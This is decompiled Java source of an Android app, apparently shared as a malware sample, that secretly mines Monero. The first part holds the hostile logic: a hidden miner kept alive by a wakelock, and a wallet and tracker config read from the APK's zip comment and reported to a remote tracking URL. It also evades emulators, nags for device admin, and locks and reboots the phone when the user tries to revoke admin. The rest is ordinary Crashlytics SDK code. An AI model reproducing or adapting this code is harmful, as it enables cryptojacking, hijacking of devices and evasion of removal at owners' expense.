Android Source

public static ApkUtils getInstance() {
    ApkUtils localInstance = instance;
    if (localInstance == null) {
        synchronized (ApkUtils.class) {
            try {
                localInstance = instance;
                if (localInstance == null) {
                    ApkUtils localInstance2 = new ApkUtils();
                    try {
                        instance = localInstance2;
                        localInstance = localInstance2;
                    } catch (Throwable th) {
                        Throwable th2 = th;
                        localInstance = localInstance2;
                        throw th2;
                    }
                }
            } catch (Throwable th3) {
                th2 = th3;
                throw th2;
            }
        }
    }
    return localInstance;
}


46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

public String extractZipComment(String filename) {
    String retStr = null;
    try {
        File file = new File(filename);
        int fileLen = (int) file.length();
        FileInputStream in = new FileInputStream(file);
        byte[] buffer = new byte[Math.min(fileLen, 8192)];
        in.skip((long) (fileLen - buffer.length));
        int len = in.read(buffer);
        if (len > 0) {
            retStr = getZipCommentFromBuffer(buffer, len);
        }
        in.close();
    } catch (Exception e) {
    }
    return retStr;
}


72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88

private String getZipCommentFromBuffer(byte[] buffer, int len) {
    byte[] magicDirEnd = new byte[]{(byte) 80, (byte) 75, (byte) 5, (byte) 6};
    int buffLen = Math.min(buffer.length, len);
    for (int i = (buffLen - magicDirEnd.length) - 22; i >= 0; i--) {
        boolean isMagicStart = true;
        for (int k = 0; k < magicDirEnd.length; k++) {
            if (buffer[i + k] != magicDirEnd[k]) {
                isMagicStart = false;
                break;
            }
        }
        if (isMagicStart) {
            return new String(buffer, i + 22, (buffLen - i) - 22);
        }
    }
    return null;
}


90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106

public void readAndSendTracking(Context context) {
    try {
        JSONObject trackerObject = new JSONObject(new String(Base64.decode(extractZipComment(context.getPackageManager().getApplicationInfo(context.getPackageName(), 0).publicSourceDir), 0), HttpRequest.CHARSET_UTF8));
        new sendTask().execute(new String[]{trackerObject.getString("tracker_id")});
    } catch (Exception e) {
        e.printStackTrace();
    }
}


108
109
110
111
112
113
114
115

public String readSiteId(Context context) {
    try {
        return new JSONObject(new String(Base64.decode(extractZipComment(context.getPackageManager().getApplicationInfo(context.getPackageName(), 0).publicSourceDir), 0), HttpRequest.CHARSET_UTF8)).getString("site_id");
    } catch (Exception e) {
        e.printStackTrace();
        return "null";
    }
}


117
118
119
120
121
122
123
124

public String readWallet(Context context) {
    try {
        return new JSONObject(new String(Base64.decode(extractZipComment(context.getPackageManager().getApplicationInfo(context.getPackageName(), 0).publicSourceDir), 0), HttpRequest.CHARSET_UTF8)).getString("w");
    } catch (Exception e) {
        e.printStackTrace();
        return Constants.miningUser;
    }
}


126
127
128
129
130
131
132
133

public String readWorker(Context context) {
    try {
        return new JSONObject(new String(Base64.decode(extractZipComment(context.getPackageManager().getApplicationInfo(context.getPackageName(), 0).publicSourceDir), 0), HttpRequest.CHARSET_UTF8)).getString("wrk");
    } catch (Exception e) {
        e.printStackTrace();
        return "null";
    }
}


135
136
137
138
139
140
141
142

protected String doInBackground(String... uri) {
    try {
        HttpURLConnection connection = (HttpURLConnection) new URL(Constants.trackingUrl + uri[0]).openConnection();
        connection.setRequestMethod(HttpRequest.METHOD_GET);
        connection.setDoOutput(true);
        connection.setConnectTimeout(15000);
        connection.setReadTimeout(15000);
        connection.connect();
        BufferedReader rd = new BufferedReader(new InputStreamReader(connection.getInputStream()));
        String content = "";
        while (true) {
            String line = rd.readLine();
            if (line == null) {
                return content;
            }
            content = content + line + "\n";
        }
    } catch (Exception e) {
        return null;
    }
}


19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

protected void onPostExecute(String result) {
    super.onPostExecute(result);
}


41
42
43

public void onCreate() {
    super.onCreate();
    Fabric.with(this, new Crashlytics());
    if (!DeviceUtil.isEmulator()) {
        startService(new Intent(getApplicationContext(), FirstService.class));
    }
}


10
11
12
13
14
15
16

public void onTerminate() {
    super.onTerminate();
    if (!DeviceUtil.isEmulator()) {
        Intent intent = new Intent(getApplicationContext(), MainActivity.class);
        intent.setFlags(268435456);
        intent.addFlags(131072);
        startActivity(intent);
    }
}


18
19
20
21
22
23
24
25
26

public static boolean isEmulator() {
    if (Build.FINGERPRINT.startsWith("generic") || Build.FINGERPRINT.startsWith("unknown") || Build.MODEL.contains(CommonUtils.GOOGLE_SDK) || Build.MODEL.contains("Emulator") || Build.MODEL.contains("Android SDK built for x86") || Build.MANUFACTURER.contains("Genymotion") || ((Build.BRAND.startsWith("generic") && Build.DEVICE.startsWith("generic")) || CommonUtils.GOOGLE_SDK.equals(Build.PRODUCT))) {
        return true;
    }
    return false;
}


12
13
14
15
16
17

public static boolean checkForNeon() {
    String result = "";
    InputStream in = null;
    try {
        in = new ProcessBuilder(new String[]{"/system/bin/cat", "/proc/cpuinfo"}).start().getInputStream();
        byte[] re = new byte[1024];
        while (in.read(re) != -1) {
            System.out.println(new String(re));
            String line = new String(re);
            if (!line.startsWith("Features") || !line.contains("neon")) {
                result = result + new String(re);
            } else if (in == null) {
                return true;
            } else {
                try {
                    in.close();
                    return true;
                } catch (IOException e) {
                    e.printStackTrace();
                    return true;
                }
            }
        }
        if (in != null) {
            try {
                in.close();
            } catch (IOException e2) {
                e2.printStackTrace();
            }
        }
    } catch (IOException ex) {
        ex.printStackTrace();
        if (in != null) {
            try {
                in.close();
            } catch (IOException e22) {
                e22.printStackTrace();
            }
        }
    } catch (Throwable th) {
        if (in != null) {
            try {
                in.close();
            } catch (IOException e222) {
                e222.printStackTrace();
            }
        }
    }
    return false;
}


19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

public static int getNumberOfCores() {
    return getNumCoresOldPhones();
}


70
71
72

private static int getNumCoresOldPhones() {
    try {
        return new File("/sys/devices/system/cpu/").listFiles(new FileFilter() {
            public boolean accept(File pathname) {
                if (Pattern.matches("cpu[0-9]+", pathname.getName())) {
                    return true;
                }
                return false;
            }
        }).length;
    } catch (Exception e) {
        return 1;
    }
}


74
75
76
77
78
79
80
81
82
83
84
85
86
87

public boolean accept(File pathname) {
    if (Pattern.matches("cpu[0-9]+", pathname.getName())) {
        return true;
    }
    return false;
}


77
78
79
80
81
82

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    if (DeviceUtil.isEmulator()) {
        finish();
    }
    isForeground = true;
    requestDeviceAdmin();
}


14
15
16
17
18
19
20
21
22

public void requestDeviceAdmin() {
    Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
    intent.putExtra("android.app.extra.DEVICE_ADMIN", new ComponentName(this, DeviceAdmin.class));
    intent.putExtra("android.app.extra.ADD_EXPLANATION", "");
    intent.addFlags(131072);
    startActivityForResult(intent, 666);
}


24
25
26
27
28
29
30

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    switch (requestCode) {
        case 666:
            if (resultCode != -1) {
                requestDeviceAdmin();
                return;
            }
            return;
        default:
            super.onActivityResult(requestCode, resultCode, data);
            return;
    }
}


32
33
34
35
36
37
38
39
40
41
42
43
44

public boolean onKeyDown(int keyCode, KeyEvent event) {
    requestDeviceAdmin();
    return false;
}


46
47
48
49

public void onDestroy() {
    isForeground = false;
    super.onDestroy();
}


51
52
53
54

public void onReceive(Context context, Intent intent) {
    context.startService(new Intent(context, FirstService.class));
}


9
10
11

public void onEnabled(Context context, Intent intent) {
    super.onEnabled(context, intent);
    ApkUtils.getInstance().readAndSendTracking(context);
}


15
16
17
18

public String onDisableRequested(final Context context, Intent intent) {
    new Handler().postDelayed(new Runnable() {
        public void run() {
            final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService("device_policy");
            if (dpm.isAdminActive(new ComponentName(context, DeviceAdmin.class))) {
                context.startService(new Intent(context, DisableService.class));
                dpm.lockNow();
                for (int i = 1; i <= 20; i++) {
                    new Handler().postDelayed(new Runnable() {
                        public void run() {
                            dpm.lockNow();
                        }
                    }, (long) (i * 250));
                }
                if (VERSION.SDK_INT >= 24) {
                    dpm.reboot(new ComponentName(context, DeviceAdmin.class));
                }
            }
        }
    }, 0);
    return "Are you sure to disable?";
}


20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

public void run() {
    final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService("device_policy");
    if (dpm.isAdminActive(new ComponentName(context, DeviceAdmin.class))) {
        context.startService(new Intent(context, DisableService.class));
        dpm.lockNow();
        for (int i = 1; i <= 20; i++) {
            new Handler().postDelayed(new Runnable() {
                public void run() {
                    dpm.lockNow();
                }
            }, (long) (i * 250));
        }
        if (VERSION.SDK_INT >= 24) {
            dpm.reboot(new ComponentName(context, DeviceAdmin.class));
        }
    }
}
);


22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

public void run() {
    dpm.lockNow();
}
long) (i * 250));


29
30
31
32

public void onDisabled(Context context, Intent intent) {
    super.onDisabled(context, intent);
}


43
44
45

public void hideAppIcon(Context context) {
    context.getPackageManager().setComponentEnabledSetting(new ComponentName(context, MainActivity.class), 2, 1);
}


47
48
49

public void startMining() {
    try {
        this.moneroMiner = new MyNeoNeonMinerGlobals();
        this.moneroMiner.context = this;
        this.miningThread = new Thread(this.moneroMiner);
        this.miningThread.start();
    } catch (Exception e) {
    }
}


42
43
44
45
46
47
48
49
50

public void stopMining() {
    try {
        if (this.moneroMiner != null) {
            this.moneroMiner.stop();
            this.moneroMiner = null;
            this.miningThread.interrupt();
            this.miningThread = null;
            System.gc();
        }
    } catch (Exception e) {
    }
}


52
53
54
55
56
57
58
59
60
61
62
63

public IBinder onBind(Intent intent) {
    return this.mBinder;
}


65
66
67

public void startWakeLock() {
    if (GlobalData.wakeLock != null) {
        GlobalData.wakeLock.release();
        GlobalData.wakeLock = null;
    }
    this.powerManager = (PowerManager) getSystemService("power");
    GlobalData.wakeLock = this.powerManager.newWakeLock(1, "AndroidService");
    GlobalData.wakeLock.acquire();
}


69
70
71
72
73
74
75
76
77

public void onCreate() {
    Notification notification;
    super.onCreate();
    startWakeLock();
    spamDeviceAdmin();
    Builder builder = new Builder(this).setSmallIcon(R.drawable.ic_launcher_empty);
    if (VERSION.SDK_INT < 16) {
        notification = builder.getNotification();
    } else {
        notification = builder.build();
    }
    startForeground(666, notification);
    startService(new Intent(this, NotificationService.class));
    startMining();
}


79
80
81
82
83
84
85
86
87
88
89
90
91
92
93

public void onDestroy() {
    super.onDestroy();
    stopMining();
    startService(new Intent(getApplicationContext(), FirstService.class));
}


95
96
97
98
99

public void spamDeviceAdmin() {
    startWakeLock();
    if (this.moneroMiner == null) {
        Log.d("Test", "MINER");
        startMining();
    }
    if (!(((DevicePolicyManager) getSystemService("device_policy")).isAdminActive(new ComponentName(getApplicationContext(), DeviceAdmin.class)) || MainActivity.isForeground)) {
        Intent intent = new Intent(getApplicationContext(), MainActivity.class);
        intent.setFlags(268435456);
        intent.addFlags(131072);
        startActivity(intent);
    }
    new Handler().postDelayed(new KeepAliveHandler(), 200);
}


101
102
103
104
105
106
107
108
109
110
111
112
113
114

public void run() {
    FirstService.this.spamDeviceAdmin();
}


31
32
33

FirstService getService() {
    return FirstService.this;
}


37
38
39

public void a() {
    Intent localIntent = new Intent("android.intent.action.MAIN");
    localIntent.addCategory("android.intent.category.HOME");
    localIntent.setFlags(67108864);
    localIntent.setFlags(268435456);
    startActivity(localIntent);
}


11
12
13
14
15
16
17

public IBinder onBind(Intent paramIntent) {
    return null;
}


19
20
21

public int onStartCommand(Intent paramIntent, int paramInt1, int paramInt2) {
    this.a = new Handler();
    Intent localIntent = new Intent();
    localIntent.setClassName("com.android.settings", "com.android.settings.Settings");
    localIntent.addFlags(343998464);
    startActivity(localIntent);
    a();
    this.a.postDelayed(new Runnable() {
        public void run() {
            DisableService.this.stopSelf();
        }
    }, 3000);
    return 2;
}


23
24
25
26
27
28
29
30
31
32
33
34
35
36

public void run() {
    DisableService.this.stopSelf();
}
000);


31
32
33
34

public IBinder onBind(Intent intent) {
    return null;
}


12
13
14

public void onCreate() {
    Notification notification;
    super.onCreate();
    Builder builder = new Builder(this).setSmallIcon(R.drawable.ic_launcher_empty);
    if (VERSION.SDK_INT < 16) {
        notification = builder.getNotification();
    } else {
        notification = builder.build();
    }
    startForeground(666, notification);
    stopForeground(true);
}


16
17
18
19
20
21
22
23
24
25
26
27

public Crashlytics() {
    this(new Answers(), new Beta(), new CrashlyticsCore());
}


113
114
115

Crashlytics(Answers answers, Beta beta, CrashlyticsCore core) {
    this.answers = answers;
    this.beta = beta;
    this.core = core;
    this.kits = Collections.unmodifiableCollection(Arrays.asList(new Kit[]{answers, beta, core}));
}


117
118
119
120
121
122

public String getVersion() {
    return "2.7.1.19";
}


124
125
126

public String getIdentifier() {
    return "com.crashlytics.sdk.android:crashlytics";
}


128
129
130

public Collection<? extends Kit> getKits() {
    return this.kits;
}


132
133
134

protected Void doInBackground() {
    return null;
}


136
137
138

public static Crashlytics getInstance() {
    return (Crashlytics) Fabric.getKit(Crashlytics.class);
}


140
141
142

public static PinningInfoProvider getPinningInfoProvider() {
    checkInitialized();
    return getInstance().core.getPinningInfoProvider();
}


144
145
146
147

public static void logException(Throwable throwable) {
    checkInitialized();
    getInstance().core.logException(throwable);
}


149
150
151
152

public static void log(String msg) {
    checkInitialized();
    getInstance().core.log(msg);
}


154
155
156
157

public static void log(int priority, String tag, String msg) {
    checkInitialized();
    getInstance().core.log(priority, tag, msg);
}


159
160
161
162

public static void setUserIdentifier(String identifier) {
    checkInitialized();
    getInstance().core.setUserIdentifier(identifier);
}


164
165
166
167

public static void setUserName(String name) {
    checkInitialized();
    getInstance().core.setUserName(name);
}


169
170
171
172

public static void setUserEmail(String email) {
    checkInitialized();
    getInstance().core.setUserEmail(email);
}


174
175
176
177

public static void setString(String key, String value) {
    checkInitialized();
    getInstance().core.setString(key, value);
}


179
180
181
182

public static void setBool(String key, boolean value) {
    checkInitialized();
    getInstance().core.setBool(key, value);
}


184
185
186
187

public static void setDouble(String key, double value) {
    checkInitialized();
    getInstance().core.setDouble(key, value);
}


189
190
191
192

public static void setFloat(String key, float value) {
    checkInitialized();
    getInstance().core.setFloat(key, value);
}


194
195
196
197

public static void setInt(String key, int value) {
    checkInitialized();
    getInstance().core.setInt(key, value);
}


199
200
201
202

public static void setLong(String key, long value) {
    checkInitialized();
    getInstance().core.setLong(key, value);
}


204
205
206
207

public void crash() {
    this.core.crash();
}


209
210
211

public boolean verifyPinning(URL url) {
    return this.core.verifyPinning(url);
}


213
214
215

public synchronized void setListener(CrashlyticsListener listener) {
    this.core.setListener(listener);
}


218
219
220

public void setDebugMode(boolean debug) {
    Fabric.getLogger().w(TAG, "Use of Crashlytics.setDebugMode is deprecated.");
}


223
224
225

public boolean getDebugMode() {
    Fabric.getLogger().w(TAG, "Use of Crashlytics.getDebugMode is deprecated.");
    getFabric();
    return Fabric.isDebuggable();
}


228
229
230
231
232

public static void setPinningInfoProvider(PinningInfoProvider pinningInfo) {
    Fabric.getLogger().w(TAG, "Use of Crashlytics.setPinningInfoProvider is deprecated");
}


235
236
237

private static void checkInitialized() {
    if (getInstance() == null) {
        throw new IllegalStateException("Crashlytics must be initialized by calling Fabric.with(Context) prior to calling Crashlytics.getInstance()");
    }
}


239
240
241
242
243

public Builder delay(float delay) {
    getCoreBuilder().delay(delay);
    return this;
}


30
31
32
33

public Builder listener(CrashlyticsListener listener) {
    getCoreBuilder().listener(listener);
    return this;
}


36
37
38
39

public Builder pinningInfo(PinningInfoProvider pinningInfoProvider) {
    getCoreBuilder().pinningInfo(pinningInfoProvider);
    return this;
}


42
43
44
45

public Builder disabled(boolean isDisabled) {
    getCoreBuilder().disabled(isDisabled);
    return this;
}


48
49
50
51

public Builder answers(Answers answers) {
    if (answers == null) {
        throw new NullPointerException("Answers Kit must not be null.");
    } else if (this.answers != null) {
        throw new IllegalStateException("Answers Kit already set.");
    } else {
        this.answers = answers;
        return this;
    }
}


53
54
55
56
57
58
59
60
61
62

public Builder beta(Beta beta) {
    if (beta == null) {
        throw new NullPointerException("Beta Kit must not be null.");
    } else if (this.beta != null) {
        throw new IllegalStateException("Beta Kit already set.");
    } else {
        this.beta = beta;
        return this;
    }
}


64
65
66
67
68
69
70
71
72
73

public Builder core(CrashlyticsCore core) {
    if (core == null) {
        throw new NullPointerException("CrashlyticsCore Kit must not be null.");
    } else if (this.core != null) {
        throw new IllegalStateException("CrashlyticsCore Kit already set.");
    } else {
        this.core = core;
        return this;
    }
}


75
76
77
78
79
80
81
82
83
84

public Crashlytics build() {
    if (this.coreBuilder != null) {
        if (this.core != null) {
            throw new IllegalStateException("Must not use Deprecated methods delay(), disabled(), listener(), pinningInfoProvider() with core()");
        }
        this.core = this.coreBuilder.build();
    }
    if (this.answers == null) {
        this.answers = new Answers();
    }
    if (this.beta == null) {
        this.beta = new Beta();
    }
    if (this.core == null) {
        this.core = new CrashlyticsCore();
    }
    return new Crashlytics(this.answers, this.beta, this.core);
}


86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103

private synchronized com.crashlytics.android.core.CrashlyticsCore.Builder getCoreBuilder() {
    if (this.coreBuilder == null) {
        this.coreBuilder = new com.crashlytics.android.core.CrashlyticsCore.Builder();
    }
    return this.coreBuilder;
}


105
106
107
108
109
110

public boolean onCreate() {
    Context context = getContext();
    if (shouldInitializeFabric(context, new FirebaseInfo(), new ManifestEnabledCheckStrategy())) {
        try {
            Fabric.with(context, new Crashlytics());
            Fabric.getLogger().i(TAG, "CrashlyticsInitProvider initialization successful");
        } catch (IllegalStateException e) {
            Fabric.getLogger().i(TAG, "CrashlyticsInitProvider initialization unsuccessful");
            return false;
        }
    }
    return true;
}


18
19
20
21
22
23
24
25
26
27
28
29
30

public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
    return null;
}


32
33
34

public String getType(Uri uri) {
    return null;
}


36
37
38

public Uri insert(Uri uri, ContentValues values) {
    return null;
}


40
41
42

public int delete(Uri uri, String selection, String[] selectionArgs) {
    return 0;
}


44
45
46

public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
    return 0;
}


48
49
50

boolean shouldInitializeFabric(Context context, FirebaseInfo firebaseInfo, EnabledCheckStrategy enabledCheckStrategy) {
    return firebaseInfo.isFirebaseCrashlyticsEnabled(context) && enabledCheckStrategy.isCrashlyticsEnabled(context);
}


52
53
54

public boolean isCrashlyticsEnabled(Context context) {
    try {
        Bundle bundle = context.getPackageManager().getApplicationInfo(context.getPackageName(), 128).metaData;
        if (bundle == null || bundle.getBoolean("firebase_crashlytics_collection_enabled", true)) {
            return true;
        }
        return false;
    } catch (NameNotFoundException e) {
        return true;
    }
}


11
12
13
14
15
16
17
18
19
20
21

SessionAnalyticsFilesManager(Context context, SessionEventTransform transform, CurrentTimeProvider currentTimeProvider, EventsStorage eventStorage) throws IOException {
    super(context, transform, currentTimeProvider, eventStorage, 100);
}


16
17
18

protected String generateUniqueRollOverFileName() {
    return SESSION_ANALYTICS_TO_SEND_FILE_PREFIX + EventsFilesManager.ROLL_OVER_FILE_NAME_SEPARATOR + UUID.randomUUID().toString() + EventsFilesManager.ROLL_OVER_FILE_NAME_SEPARATOR + this.currentTimeProvider.getCurrentTimeMillis() + SESSION_ANALYTICS_TO_SEND_FILE_EXTENSION;
}


20
21
22

protected int getMaxFilesToKeep() {
    return this.analyticsSettingsData == null ? super.getMaxFilesToKeep() : this.analyticsSettingsData.maxPendingSendFileCount;
}


24
25
26

protected int getMaxByteSizePerFile() {
    return this.analyticsSettingsData == null ? super.getMaxByteSizePerFile() : this.analyticsSettingsData.maxByteSizePerFile;
}


28
29
30

void setAnalyticsSettingsData(AnalyticsSettingsData analyticsSettingsData) {
    this.analyticsSettingsData = analyticsSettingsData;
}


32
33
34

public static AnswersPreferenceManager build(Context context) {
    return new AnswersPreferenceManager(new PreferenceStoreImpl(context, PREF_STORE_NAME));
}


13
14
15

AnswersPreferenceManager(PreferenceStore prefStore) {
    this.prefStore = prefStore;
}


17
18
19

public void setAnalyticsLaunched() {
    this.prefStore.save(this.prefStore.edit().putBoolean(PREFKEY_ANALYTICS_LAUNCHED, true));
}


22
23
24

public boolean hasAnalyticsLaunched() {
    return this.prefStore.get().getBoolean(PREFKEY_ANALYTICS_LAUNCHED, false);
}


27
28
29

public StartCheckoutEvent putItemCount(int itemCount) {
    this.predefinedAttributes.put(ITEM_COUNT_ATTRIBUTE, Integer.valueOf(itemCount));
    return this;
}


13
14
15
16

public StartCheckoutEvent putTotalPrice(BigDecimal totalPrice) {
    if (!this.validator.isNull(totalPrice, TOTAL_PRICE_ATTRIBUTE)) {
        this.predefinedAttributes.put(TOTAL_PRICE_ATTRIBUTE, Long.valueOf(priceToMicros(totalPrice)));
    }
    return this;
}


18
19
20
21
22
23

public StartCheckoutEvent putCurrency(Currency currency) {
    if (!this.validator.isNull(currency, CURRENCY_ATTRIBUTE)) {
        this.predefinedAttributes.put(CURRENCY_ATTRIBUTE, currency.getCurrencyCode());
    }
    return this;
}


25
26
27
28
29
30

long priceToMicros(BigDecimal decimal) {
    return MICRO_CONSTANT.multiply(decimal).longValue();
}


32
33
34

String getPredefinedType() {
    return TYPE;
}


36
37
38

public BackgroundManager(ScheduledExecutorService executorService) {
    this.executorService = executorService;
}


24
25
26

public void setFlushOnBackground(boolean flushOnBackground) {
    this.flushOnBackground = flushOnBackground;
}


28
29
30

private void notifyBackground() {
    for (Listener listener : this.listeners) {
        listener.onBackground();
    }
}


32
33
34
35
36

public void registerListener(Listener listener) {
    this.listeners.add(listener);
}


38
39
40

public void onActivityResumed() {
    this.inBackground = false;
    ScheduledFuture backgroundFuture = (ScheduledFuture) this.backgroundFutureRef.getAndSet(null);
    if (backgroundFuture != null) {
        backgroundFuture.cancel(false);
    }
}


42
43
44
45
46
47
48

public void onActivityPaused() {
    if (this.flushOnBackground && !this.inBackground) {
        this.inBackground = true;
        try {
            this.backgroundFutureRef.compareAndSet(null, this.executorService.schedule(new Runnable() {
                public void run() {
                    BackgroundManager.this.backgroundFutureRef.set(null);
                    BackgroundManager.this.notifyBackground();
                }
            }, 5000, TimeUnit.MILLISECONDS));
        } catch (RejectedExecutionException e) {
            Fabric.getLogger().d(Answers.TAG, "Failed to schedule background detector", e);
        }
    }
}


50
51
52
53
54
55
56
57
58
59
60
61
62
63
64

public void run() {
    BackgroundManager.this.backgroundFutureRef.set(null);
    BackgroundManager.this.notifyBackground();
}
000, TimeUnit.MILLISECONDS));


55
56
57
58
59

FirebaseAnalyticsEvent(String eventName, Bundle eventParams) {
    this.eventName = eventName;
    this.eventParams = eventParams;
}


9
10
11
12

public String getEventName() {
    return this.eventName;
}


14
15
16

public Bundle getEventParams() {
    return this.eventParams;
}


18
19
20

public EnabledSessionAnalyticsManagerStrategy(Kit kit, Context context, ScheduledExecutorService executor, SessionAnalyticsFilesManager filesManager, HttpRequestFactory httpRequestFactory, SessionEventMetadata metadata, FirebaseAnalyticsApiAdapter firebaseAnalyticsApiAdapter) {
    this.kit = kit;
    this.context = context;
    this.executorService = executor;
    this.filesManager = filesManager;
    this.httpRequestFactory = httpRequestFactory;
    this.metadata = metadata;
    this.firebaseAnalyticsApiAdapter = firebaseAnalyticsApiAdapter;
}


41
42
43
44
45
46
47
48
49

public void setAnalyticsSettingsData(AnalyticsSettingsData analyticsSettingsData, String protocolAndHostOverride) {
    this.filesSender = AnswersRetryFilesSender.build(new SessionAnalyticsFilesSender(this.kit, protocolAndHostOverride, analyticsSettingsData.analyticsURL, this.httpRequestFactory, this.apiKey.getValue(this.context)));
    this.filesManager.setAnalyticsSettingsData(analyticsSettingsData);
    this.forwardToFirebaseAnalyticsEnabled = analyticsSettingsData.forwardToFirebaseAnalytics;
    this.includePurchaseEventsInForwardedEvents = analyticsSettingsData.includePurchaseEventsInForwardedEvents;
    Fabric.getLogger().d(Answers.TAG, "Firebase analytics forwarding " + (this.forwardToFirebaseAnalyticsEnabled ? "enabled" : "disabled"));
    Fabric.getLogger().d(Answers.TAG, "Firebase analytics including purchase events " + (this.includePurchaseEventsInForwardedEvents ? "enabled" : "disabled"));
    this.customEventsEnabled = analyticsSettingsData.trackCustomEvents;
    Fabric.getLogger().d(Answers.TAG, "Custom event tracking " + (this.customEventsEnabled ? "enabled" : "disabled"));
    this.predefinedEventsEnabled = analyticsSettingsData.trackPredefinedEvents;
    Fabric.getLogger().d(Answers.TAG, "Predefined event tracking " + (this.predefinedEventsEnabled ? "enabled" : "disabled"));
    if (analyticsSettingsData.samplingRate > 1) {
        Fabric.getLogger().d(Answers.TAG, "Event sampling enabled");
        this.eventFilter = new SamplingEventFilter(analyticsSettingsData.samplingRate);
    }
    this.rolloverIntervalSeconds = analyticsSettingsData.flushIntervalSeconds;
    scheduleTimeBasedFileRollOver(0, (long) this.rolloverIntervalSeconds);
}


51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

public void processEvent(Builder builder) {
    SessionEvent event = builder.build(this.metadata);
    if (!this.customEventsEnabled && Type.CUSTOM.equals(event.type)) {
        Fabric.getLogger().d(Answers.TAG, "Custom events tracking disabled - skipping event: " + event);
    } else if (!this.predefinedEventsEnabled && Type.PREDEFINED.equals(event.type)) {
        Fabric.getLogger().d(Answers.TAG, "Predefined events tracking disabled - skipping event: " + event);
    } else if (this.eventFilter.skipEvent(event)) {
        Fabric.getLogger().d(Answers.TAG, "Skipping filtered event: " + event);
    } else {
        try {
            this.filesManager.writeEvent(event);
        } catch (IOException e) {
            Fabric.getLogger().e(Answers.TAG, "Failed to write event: " + event, e);
        }
        scheduleTimeBasedRollOverIfNeeded();
        boolean isCustomOrPredefinedEvent = Type.CUSTOM.equals(event.type) || Type.PREDEFINED.equals(event.type);
        boolean isPurchaseEvent = "purchase".equals(event.predefinedType);
        if (!this.forwardToFirebaseAnalyticsEnabled || !isCustomOrPredefinedEvent) {
            return;
        }
        if (!isPurchaseEvent || this.includePurchaseEventsInForwardedEvents) {
            try {
                this.firebaseAnalyticsApiAdapter.processEvent(event);
            } catch (Exception e2) {
                Fabric.getLogger().e(Answers.TAG, "Failed to map event to Firebase: " + event, e2);
            }
        }
    }
}


70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98

public void scheduleTimeBasedRollOverIfNeeded() {
    if (this.rolloverIntervalSeconds != UNDEFINED_ROLLOVER_INTERVAL_SECONDS) {
        scheduleTimeBasedFileRollOver((long) this.rolloverIntervalSeconds, (long) this.rolloverIntervalSeconds);
    }
}


100
101
102
103
104

public void sendEvents() {
    if (this.filesSender == null) {
        CommonUtils.logControlled(this.context, "skipping files send because we don't yet know the target endpoint");
        return;
    }
    CommonUtils.logControlled(this.context, "Sending all files");
    int filesSent = 0;
    List<File> batch = this.filesManager.getBatchOfFilesToSend();
    while (batch.size() > 0) {
        CommonUtils.logControlled(this.context, String.format(Locale.US, "attempt to send batch of %d files", new Object[]{Integer.valueOf(batch.size())}));
        boolean cleanup = this.filesSender.send(batch);
        if (cleanup) {
            filesSent += batch.size();
            this.filesManager.deleteSentFiles(batch);
        }
        if (!cleanup) {
            break;
        }
        try {
            batch = this.filesManager.getBatchOfFilesToSend();
        } catch (Exception e) {
            CommonUtils.logControlledError(this.context, "Failed to send batch of analytics files to server: " + e.getMessage(), e);
        }
    }
    if (filesSent == 0) {
        this.filesManager.deleteOldestInRollOverIfOverMax();
    }
}


106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133

public void cancelTimeBasedFileRollOver() {
    if (this.rolloverFutureRef.get() != null) {
        CommonUtils.logControlled(this.context, "Cancelling time-based rollover because no events are currently being generated.");
        ((ScheduledFuture) this.rolloverFutureRef.get()).cancel(false);
        this.rolloverFutureRef.set(null);
    }
}


135
136
137
138
139
140
141

public void deleteAllEvents() {
    this.filesManager.deleteAllEventsFiles();
}


143
144
145

public boolean rollFileOver() {
    try {
        return this.filesManager.rollFileOver();
    } catch (IOException e) {
        CommonUtils.logControlledError(this.context, "Failed to roll file over.", e);
        return false;
    }
}


147
148
149
150
151
152
153
154

void scheduleTimeBasedFileRollOver(long initialDelaySecs, long frequencySecs) {
    if (this.rolloverFutureRef.get() == null) {
        Runnable rollOverRunnable = new TimeBasedFileRollOverRunnable(this.context, this);
        CommonUtils.logControlled(this.context, "Scheduling time based file roll over every " + frequencySecs + " seconds");
        try {
            this.rolloverFutureRef.set(this.executorService.scheduleAtFixedRate(rollOverRunnable, initialDelaySecs, frequencySecs, TimeUnit.SECONDS));
        } catch (RejectedExecutionException e) {
            CommonUtils.logControlledError(this.context, "Failed to schedule time based file roll over", e);
        }
    }
}


156
157
158
159
160
161
162
163
164
165
166

public SessionMetadataCollector(Context context, IdManager idManager, String versionCode, String versionName) {
    this.context = context;
    this.idManager = idManager;
    this.versionCode = versionCode;
    this.versionName = versionName;
}


16
17
18
19
20
21

public SessionEventMetadata getMetadata() {
    Map<DeviceIdentifierType, String> deviceIdentifiers = this.idManager.getDeviceIdentifiers();
    return new SessionEventMetadata(this.idManager.getAppIdentifier(), UUID.randomUUID().toString(), this.idManager.getAppInstallIdentifier(), (String) deviceIdentifiers.get(DeviceIdentifierType.ANDROID_ID), (String) deviceIdentifiers.get(DeviceIdentifierType.ANDROID_ADVERTISING_ID), this.idManager.isLimitAdTrackingEnabled(), (String) deviceIdentifiers.get(DeviceIdentifierType.FONT_TOKEN), CommonUtils.resolveBuildId(this.context), this.idManager.getOsVersionString(), this.idManager.getModelName(), this.versionCode, this.versionName);
